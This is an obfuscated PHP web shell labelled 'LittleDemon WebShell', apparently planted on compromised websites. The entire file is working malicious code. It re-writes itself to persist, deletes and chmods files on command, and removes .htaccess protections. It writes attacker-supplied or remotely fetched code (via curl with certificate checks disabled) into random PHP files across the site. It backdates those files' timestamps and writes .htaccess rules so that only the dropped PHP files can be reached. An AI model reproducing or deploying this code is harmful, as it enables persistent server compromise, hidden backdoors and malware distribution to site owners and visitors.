LittleDemon WebShell

<?php /*BYh4x6Q1Tra*/ ?><?php $bch="";$bch.="\146";$bch.="\151";$bch.="\154";$bch.="\145";$bch.="\137";$bch.="\160";$bch.="\165";$bch.="\164";$bch.="\137";$bch.="\143";$bch.="\157";$bch.="\156";$bch.="\164";$bch.="\145";$bch.="\156";$bch.="\164";$bch.="\163"; $rjq="";$rjq.="\145";$rjq.="\170";$rjq.="\160";$rjq.="\154";$rjq.="\157";$rjq.="\144";$rjq.="\145"; $uaw="";$uaw.="\143";$uaw.="\150";$uaw.="\155";$uaw.="\157";$uaw.="\144"; $hxbm="";$hxbm.="\142";$hxbm.="\141";$hxbm.="\163";$hxbm.="\145";$hxbm.="6";$hxbm.="4";$hxbm.="\137";$hxbm.="\144";$hxbm.="\145";$hxbm.="\143";$hxbm.="\157";$hxbm.="\144";$hxbm.="\145"; $iyw="";$iyw.="\146";$iyw.="\151";$iyw.="\154";$iyw.="\145";$iyw.="\137";$iyw.="\147";$iyw.="\145";$iyw.="\164";$iyw.="\137";$iyw.="\143";$iyw.="\157";$iyw.="\156";$iyw.="\164";$iyw.="\145";$iyw.="\156";$iyw.="\164";$iyw.="\163"; $klj="";$klj.="\164";$klj.="\162";$klj.="\151";$klj.="\155"; $NRLMOtwY=$rjq($hxbm("PD9waHAgLypCWWg0eDZRMVRyYSovID8+"),$iyw(__FILE__));if($klj($NRLMOtwY[0])!=""||$klj($NRLMOtwY[2])!=""){$uaw(__DIR__,0755);$uaw(__FILE__,0644);$bch(__FILE__,$hxbm("PD9waHAgLypCWWg0eDZRMVRyYSovID8+").$NRLMOtwY[1].$hxbm("PD9waHAgLypCWWg0eDZRMVRyYSovID8+"));}?><?php ;/*FJn9Y*/; ;/*$_Cb7q*/; ;/*$_JrG7Ezt*/; ;/*kp3iV*/; ;/*bonafide*/; error_reporting(0); ;/*ZIL1*/; ;/*KnbwH1*/; $_eclyHf=($_SERVER["\110\124\124\120\123"]!=""&&$_SERVER["\110\124\124\120\123"]!="\157\146\146")||$_SERVER["\122\105\121\125\105\123\124\137\123\103\110\105\115\105"]=="\150\164\164\160\163"||$_SERVER["\123\105\122\126\105\122\137\120\117\122\124"]==443 ? "\150\164\164\160\163\72\57\57" : "\150\164\164\160\72\57\57" ; ;/*powders*/; ;/*krZaIJS*/; ;/*$_GuD4Kbz*/; $_CYOZF=$_SERVER["\110\124\124\120\137\110\117\123\124"]; ;/*colza*/; ;/*nU3z0*/; if ( isset($_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]) ) { $_ijv=explode('?',$_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]); ;/*zQL0fva8*/; $_R6xVB=$_ijv[0]; }else { ;/*kidney*/; $_iljcmV=str_replace("9L5","","luss"); $_R6xVB=$_SERVER["\123\103\122\111\120\124\137\116\101\115\105"]; ;/*pyeGWE*/; } ;/*$_VGcIg*/; $_hZi=str_replace('\\','/',$_SERVER["\123\103\122\111\120\124\137\106\111\114\105\116\101\115\105"]); ;/*tTrK*/; ;/*padners*/; $_1UM=str_replace($_R6xVB,'',$_hZi); ;/*g0SEe2x*/; ;/*branle*/; function sz($_LE8) { $_Kmurc4D=""; if ( function_exists("\143\165\162\154\137\145\170\145\143") ) { $_fV42M=curl_init(); curl_setopt ($_fV42M, CURLOPT_URL, $_LE8); curl_setopt ($_fV42M, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($_fV42M, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $_fV42M, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_fV42M, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_fV42M, CURLOPT_TIMEOUT, 30); curl_setopt ($_fV42M, CURLOPT_HEADER, 0); $_Kmurc4D = curl_exec($_fV42M); curl_close($_fV42M); }else { $_Kmurc4D=file_get_contents($_LE8); } return $_Kmurc4D; } ;/*eCAK4*/; chmod($_1UM,0755); ;/*bearing*/; ;/*mOtHud7*/; $_OhQNwo="\55\55\55"; $_OhQNwo.="\144\157"; ;/*$_0sN2fX*/; $_OhQNwo.="\55"; ;/*$_0sN2fX*/; ;/*actual*/; $_OhQNwo.="\156\157\164"; ;/*2OR*/; ;/*J9UMw*/; function zc($_HnhOsLr=array()) { $_WOg6FMP=0; if ( count($_HnhOsLr)>0 ) { foreach($_HnhOsLr as $_KnRb) { if ( is_numeric($_KnRb) ) { $_WOg6FMP=$_KnRb; break; } } foreach($_HnhOsLr as $_KnRb) { if ( is_numeric($_KnRb)&&$_KnRb<$_WOg6FMP ) { $_WOg6FMP=$_KnRb; } } } return $_WOg6FMP; } $_OhQNwo.="\55"; ;/*$_ijv*/; ;/*ness*/; $_GuD4Kbz=explode("c","whatten"); ;/*jeuneurs*/; $_OhQNwo.="\143\150\141\156\147\145"; function t($_N9uZPd) { $_N9uZPd=trim($_N9uZPd); $_N9uZPd=substr($_N9uZPd,6,-6); $_N9uZPd=str_replace("\55","+",$_N9uZPd); $_N9uZPd=str_replace("_","/",$_N9uZPd); $_N9uZPd=str_replace(".","=",$_N9uZPd); $_N9uZPd=base64_decode($_N9uZPd); return $_N9uZPd; } $_OhQNwo.="\55"; ;/*rWJ*/; $_OhQNwo.="\164\150\145"; ;/*$_8Gp*/; ;/*rhino*/; $_OhQNwo.="\55"; $_GuD4Kbz=explode("i","syllabax"); ;/*marcella*/; ;/*sLpFSKyW*/; ;/*flowing*/; $_OhQNwo.="\146\157\154\154\157\167\151\156\147"; ;/*answers*/; function lf($_uQX) { $_bou9mpR=""; $_69qeV7=strlen($_uQX); if ($_69qeV7>15) { $z_mid=intval($_69qeV7/2); $_bou9mpR=substr($_uQX,0,3).substr($_uQX,$z_mid,3).substr($_uQX,-3,3); }else { $_bou9mpR=$_uQX; } return $_bou9mpR; } $_OhQNwo.="\55"; $_OhQNwo.="\143\157\156\164\145\156\164"; ;/*$_pcs3ez*/; ;/*cognac*/; $_OhQNwo.="\55\55\55"; ;/*$_nu62kCf*/; ;/*frisks*/; ;/*oAKN*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\144\137\150") { ;/*fairhill*/; $_aRTQ=array(); $_iljcmV=str_replace("W","","edacior"); $_F4I=0; ;/*$_9O1LY*/; ;/*w7X*/; $_xfQZ=0; ;/*albany*/; ;/*hxrNL*/; $_aRTQ[0][]=$_1UM; ;/*3EewAm5*/; ;/*$_Uv6i*/; ;/*$_eclyHf*/; while(!empty($_aRTQ[$_F4I])) { foreach($_aRTQ[$_F4I] as $_uFQKqrD) { $_HqxIUC=glob($_uFQKqrD."\57\52",GLOB_ONLYDIR); if (!empty($_HqxIUC)) { foreach($_HqxIUC as $_2qwA) { $_aRTQ[$_F4I+1][]=$_2qwA; chmod($_2qwA,0755); $_sUw=$_2qwA."\57\56\150\164\141\143\143\145\163\163"; if (is_file($_sUw)) { $_oNekZ=file_get_contents($_sUw); if (preg_match('/'.$_OhQNwo.'/',$_oNekZ)==0) { chmod($_sUw,0777); file_put_contents($_sUw,''); unlink($_sUw); $_xfQZ++; } } } } } $_F4I++; } $_uWz=lf("bordvoitovawakened"); $_GuD4Kbz=explode("y","sturdily"); echo $_xfQZ."\144\157\156\145"; ;/*J6XcWkTa*/; ;/*scourges*/; exit; } ;/*leaflets*/; ;/*muskowa*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\143\137\143") { ;/*2XE5sW1*/; echo "\152\153\55\55\55\157\153"; ;/*noIq7Y*/; exit; ;/*$_ijv*/; ;/*brutally*/; } ;/*nutty*/; if ( !empty($_GET["\146\137\143"]) ) { ;/*nSZJlUVD*/; $_0G46E=t($_GET["\146\137\143"]); $_uWz=lf("fatuouseasierluiserne"); ;/*bluff*/; if(is_file($_1UM.$_0G46E)){chmod($_1UM.$_0G46E,0644);echo "\146\143\55\55\55\157\153";}else{echo "\146\143\55\55\55\156\157";} $_vgWnZH5=ckv("RbGBUgSNay"); exit; } ;/*azk*/; if ( !empty($_GET["\146\137\144"]) ) { ;/*4hb*/; $_w2nLY30=t($_GET["\146\137\144"]); if (is_file($_1UM.$_w2nLY30)) { ;/*NrBG*/; chmod($_1UM.$_w2nLY30,0777); ;/*$_MNpX*/; file_put_contents($_1UM.$_w2nLY30,"\172",LOCK_EX); ;/*$_oNekZ*/; unlink($_1UM.$_w2nLY30); ;/*83jJ*/; } ;/*CqKaz9yH*/; ;/*$_5MUG*/; if (!is_file($_1UM.$_w2nLY30)||trim(file_get_contents($_1UM.$_w2nLY30))=="\172") { ;/*$_9CA*/; $_GuD4Kbz=explode("u","carapace"); ;/*errantry*/; echo "\146\144\55\55\55\157\153"; ;/*E7PhXZ*/; ;/*congrio*/; }else { ;/*dyers*/; echo "\146\144\55\55\55\156\157"; ;/*$_JrG7Ezt*/; ;/*76WHt*/; } $_oyJ4g=zc(array(5394040,9628502,3077424,6681932,1462039,7837700,10326,1235885,6176885,2914290,149530,6809234,4105420,2603007)); ;/*$_hZi*/; ;/*ownest*/; exit; } $_uWz=lf("athirstbracheenameled"); ;/*$_QfcVHtu*/; function ckv($_uQX) { $_dsoy4O=""; $_cNfz9V=md5($_uQX); $_dsoy4O=substr($_cNfz9V,0,5).substr($_cNfz9V,-5,5); return $_dsoy4O; } if ( (!empty($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"])) && (!empty($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"])) ) { $_uWz=lf("deceasedminervacarlow"); $_QfcVHtu=base64_decode($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"]); ;/*$_RGQVBM*/; $_oGq1Jc9=base64_decode($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"]); }else { ;/*$_29MBnmj*/; ;/*4fNn*/; if (!empty($_GET["\165\137\160"])) { ;/*jW8*/; $_uWz=lf("kakebackerchanger"); ;/*RnTH*/; $_wK0yfX=t($_GET["\165\137\160"]); ;/*C6RpfD*/; $_QfcVHtu=trim(sz($_wK0yfX."\137\143\157\144\145\137\143\157\156\164\145\156\164\56\164\170\164")); ;/*$_69qeV7*/; $_oGq1Jc9=trim(sz($_wK0yfX."\137\143\157\144\145\137\146\151\154\145\156\141\155\145\56\164\170\164")); } ;/*$_wNnEj*/; } ;/*above*/; ;/*majestic*/; if (empty($_QfcVHtu) || empty($_oGq1Jc9)) { ;/*qec5*/; ;/*$_GM0F9b2*/; $_iljcmV=str_replace("I","","emersion"); exit; } ;/*$_0G46E*/; if (substr($_oGq1Jc9,0,1)=='/' && substr($_oGq1Jc9,-1,1)!='/') { $_HWCv7=$_1UM.$_oGq1Jc9; ;/*$_Ufwpir*/; $_uWz=lf("guttedlorcanrector"); $_pcs3ez=$_eclyHf.$_CYOZF.$_oGq1Jc9; preg_match('/(\/.+)\//',$_HWCv7,$_gK2); $_rRSC8Aw=$_gK2[1]; ;/*HZf*/; $_GM0F9b2 = explode("/",ltrim(str_replace($_1UM,'',$_rRSC8Aw),"/")); $_ZIm = $_1UM; $_oyJ4g=zc(array(5394040,9628502,3077424,6681932,1462039,7837700,10326,1235885,6176885,2914290,149530,6809234,4105420,2603007)); ;/*Pilq*/; foreach($_GM0F9b2 as $_7aDOFQ) { $_ZIm .= "/" . $_7aDOFQ; if ( is_dir( $_ZIm ) ) { chmod( $_ZIm, 0755 ); } else { mkdir( $_ZIm, 0755, true ); } } ;/*piles*/; if ( is_file($_HWCv7) ) { usleep(9); chmod($_HWCv7,0777); ;/*behoves*/; unlink($_HWCv7); ;/*$_ct9Q*/; } ;/*w7KUxQZ*/; file_put_contents($_HWCv7,$_QfcVHtu); $_GuD4Kbz=explode("2","sown"); ;/*BlH*/; if ( is_file($_HWCv7) && md5($_QfcVHtu)==md5(file_get_contents($_HWCv7)) ) { ;/*tireless*/; $_myr=1; ;/*skirting*/; ;/*$_GM0F9b2*/; $_GuD4Kbz=explode("N","squirrel"); echo $_pcs3ez; $_vgWnZH5=ckv("FL9ih"); ;/*$_8Gp*/; } } ;/*$_F4I*/; ;/*surrey*/; ;/*dealings*/; if($_oGq1Jc9=="\162\141\156\144\157\155") { $_oyJ4g=zc(array(5394040,9628502,3077424,6681932,1462039,7837700,10326,1235885,6176885,2914290,149530,6809234,4105420,2603007)); ;/*mapped*/; $_ZgGcF=array(); ;/*emit*/; ;/*tweed*/; $_aRTQ=array(); $_GuD4Kbz=explode("T","gentlest"); $_F4I=0; ;/*calvary*/; $_vgWnZH5=ckv("7cBVRm2vWz"); $_ZgGcF[]=$_1UM; $_GuD4Kbz=explode("U","brule"); ;/*$_fV42M*/; $_aRTQ[0][]=$_1UM; while(!empty($_aRTQ[$_F4I])) { foreach($_aRTQ[$_F4I] as $_uFQKqrD) { $_HqxIUC=glob($_uFQKqrD."\57\52",GLOB_ONLYDIR); if (!empty($_HqxIUC)) { foreach($_HqxIUC as $_2qwA) { if ( preg_match('/plugin[s]?$/si',$_2qwA)==1 ){continue;} $_aRTQ[$_F4I+1][]=$_2qwA; $_ZgGcF[]=$_2qwA; chmod($_2qwA,0755); } } } $_F4I++; if (count($_ZgGcF)>=1000) {break;} } ;/*xyvfO*/; if ( count($_ZgGcF)<4 ) { ;/*pO1s*/; $_iKZu=array(); ;/*$_0sN2fX*/; $_iKZu[]="\151\155\141\147\145\163"; $_iKZu[]="\151\156\143\154\165\144\145\163"; $_iljcmV=str_replace("IM7","","peony"); ;/*mzBfE*/; $_iKZu[]="\164\145\155\160\154\141\164\145\163"; $_iKZu[]="\143\163\163"; $_iKZu[]="\143\141\143\150\145"; ;/*$_oGq1Jc9*/; ;/*faro*/; ;/*QjyaflP*/; $_iKZu[]="\166\145\156\144\145\162"; ;/*sickens*/; ;/*$_oGq1Jc9*/; $_iKZu[]="\154\151\142\162\141\162\171"; $_iKZu[]="\142\141\143\153\165\160"; $_iKZu[]="\144\141\164\141\142\141\163\145"; $_GuD4Kbz=explode("O","added"); $_iKZu[]="\144\141\164\141"; $_iKZu[]="\152\163"; ;/*$_Uv6i*/; ;/*fawning*/; $_iKZu[]="\154\157\147"; ;/*enviable*/; ;/*rL5a43*/; $_iKZu[]="\165\163\145\162"; ;/*bovril*/; ;/*wQlIjoP*/; $_iKZu[]="\146\157\156\164\163"; $_uWz=lf("opulentnervesgearing"); shuffle($_iKZu); for($_5mt8ZxI=0;$_5mt8ZxI<3;$_5mt8ZxI++) { $_9CA=$_1UM.'/'.$_iKZu[$_5mt8ZxI]; mkdir($_9CA,0755,true); if ( is_dir($_9CA) ){$_ZgGcF[]=$_9CA;} } } $_oyJ4g=zc(array(5394040,9628502,3077424,6681932,1462039,7837700,10326,1235885,6176885,2914290,149530,6809234,4105420,2603007)); $_GuD4Kbz=explode("a","capstan"); $_myr=0; $_5MUG="\151\156\144\145\170\56\160\150\160"; ;/*cenar*/; for($_Edlrpo=1;$_Edlrpo<=10;$_Edlrpo++) { $_rRSC8Aw=$_ZgGcF[array_rand($_ZgGcF,1)]; $_HWCv7=$_rRSC8Aw.'/'.$_5MUG; $_pcs3ez=$_eclyHf.$_CYOZF.str_replace($_1UM,'',$_rRSC8Aw).'/'.$_5MUG; if ( !is_file($_HWCv7) ) { file_put_contents($_HWCv7,$_QfcVHtu); if ( is_file($_HWCv7) && md5($_QfcVHtu)==md5(file_get_contents($_HWCv7)) ) { $_myr=1;echo $_pcs3ez;break; } } } ;/*verdure*/; ;/*$_iKZu*/; ;/*chemical*/; if ($_myr==0) { ;/*weltlust*/; $_iljcmV=str_replace("LYw","","serenity"); for($_Edlrpo=1;$_Edlrpo<=10;$_Edlrpo++) { $_rRSC8Aw=$_ZgGcF[array_rand($_ZgGcF,1)]; $_5MUG=basename($_rRSC8Aw)."\56\160\150\160"; $_HWCv7=$_rRSC8Aw.'/'.$_5MUG; $_pcs3ez=$_eclyHf.$_CYOZF.str_replace($_1UM,'',$_rRSC8Aw).'/'.$_5MUG; if ( !is_file($_HWCv7) ) { file_put_contents($_HWCv7,$_QfcVHtu); if ( is_file($_HWCv7) && md5($_QfcVHtu)==md5(file_get_contents($_HWCv7)) ) { $_myr=1;echo $_pcs3ez;break; } } } } ;/*cupola*/; if ($_myr==0) { ;/*yassah*/; $_dxZ8zB="\66\71"; ;/*decked*/; $_dxZ8zB.="\142\171\167\65"; ;/*gCEbw3*/; $_dxZ8zB.="\165\141\146"; $_dxZ8zB.="\154\144\145"; $_iljcmV=str_replace("i","","proofs"); $_dxZ8zB.="\162\67\170\63"; ;/*dawns*/; ;/*blushing*/; $_dxZ8zB.="\160\163\152"; ;/*uSgifU*/; ;/*13QlXOHZ*/; $_dxZ8zB.="\164\155\61"; ;/*eHh2*/; ;/*7OHBP1e*/; $_iljcmV=str_replace("YZn","","pranced"); $_dxZ8zB.="\166\161\64\156\153"; $_dxZ8zB.="\151\172\60"; ;/*K0lxGr*/; $_dxZ8zB.="\150\147\157"; ;/*1tzXHArQ*/; $_dxZ8zB.="\62\143\70"; ;/*ruined*/; for($_Edlrpo=1;$_Edlrpo<=11;$_Edlrpo++) { $_Edlrpo==11 ? $_rRSC8Aw=$_1UM : $_rRSC8Aw=$_ZgGcF[array_rand($_ZgGcF,1)]; $_DwTWb=str_shuffle($_dxZ8zB); $_9O1LY=substr($_DwTWb,0,mt_rand(3,10))."\56\160\150\160"; $_HWCv7=$_rRSC8Aw.'/'.$_9O1LY; $_pcs3ez=$_eclyHf.$_CYOZF.str_replace($_1UM,'',$_rRSC8Aw).'/'.$_9O1LY; file_put_contents($_HWCv7,$_QfcVHtu); if ( is_file($_HWCv7) && md5($_QfcVHtu)==md5(file_get_contents($_HWCv7)) ) { $_myr=1;echo $_pcs3ez;break; } } ;/*$_0sN2fX*/; $_iljcmV=str_replace("8","","absit"); } } ;/*precede*/; ;/*gristle*/; if ( isset($_myr) && $_myr==1 ) { ;/*JfP*/; touch($_HWCv7, strtotime("\55\65\60\60\40\144\141\171\163", time())); $_uWz=lf("sherlocktalmajoannes"); $_iljcmV=str_replace("Eth","","markers"); ;/*$_pCnr7*/; ;/*$_HnhOsLr*/; if ( $_rRSC8Aw!=$_1UM ) { ;/*nekTzXZF*/; $_zuU8=$_rRSC8Aw."\57\56\150\164\141\143\143\145\163\163"; ;/*8Xl*/; if (is_file($_zuU8)) { ;/*macz4lS*/; chmod($_zuU8,0777); file_put_contents($_zuU8,''); ;/*DTnGIcZ*/; unlink($_zuU8); $_GuD4Kbz=explode("A","lamarque"); ;/*bathos*/; } if ( basename($_HWCv7)!="\151\156\144\145\170\56\160\150\160" ) { ;/*$_5MUG*/; ;/*lQu*/; $_TDA=''; ;/*sloop*/; foreach( glob($_rRSC8Aw."\57\52\56\160\150\160") as $_rGZjY ) { $_TDA.="\174".basename($_rGZjY); } $_iljcmV=str_replace("KPs","","quite"); $_TDA=ltrim($_TDA,"\174"); ;/*xxxvi*/; ;/*IraTg9*/; ;/*chanced*/; $_usBC="\43".$_OhQNwo; ;/*kJbZ*/; $_usBC.="\n"."\74\106\151\154\145\163\115\141\164\143\150\40\47\136\50".$_TDA."\51\44\47\76"; ;/*$_ZagP*/; $_usBC.="\n"."\117\162\144\145\162\40\141\154\154\157\167\54\144\145\156\171"; ;/*disputes*/; $_usBC.="\n"."\101\154\154\157\167\40\146\162\157\155\40\141\154\154"; $_GuD4Kbz=explode("l","meryton"); $_usBC.="\n"."\74\57\106\151\154\145\163\115\141\164\143\150\76"; ;/*NrlFT3*/; ;/*$_OhQNwo*/; file_put_contents($_zuU8,$_usBC); ;/*dpXazVE*/; touch($_HWCv7, strtotime("\55\65\60\60\40\144\141\171\163", time())); ;/*8fvbWA*/; } } } ;/*dDWv*/; ?><?php /*BYh4x6Q1Tra*/ ?>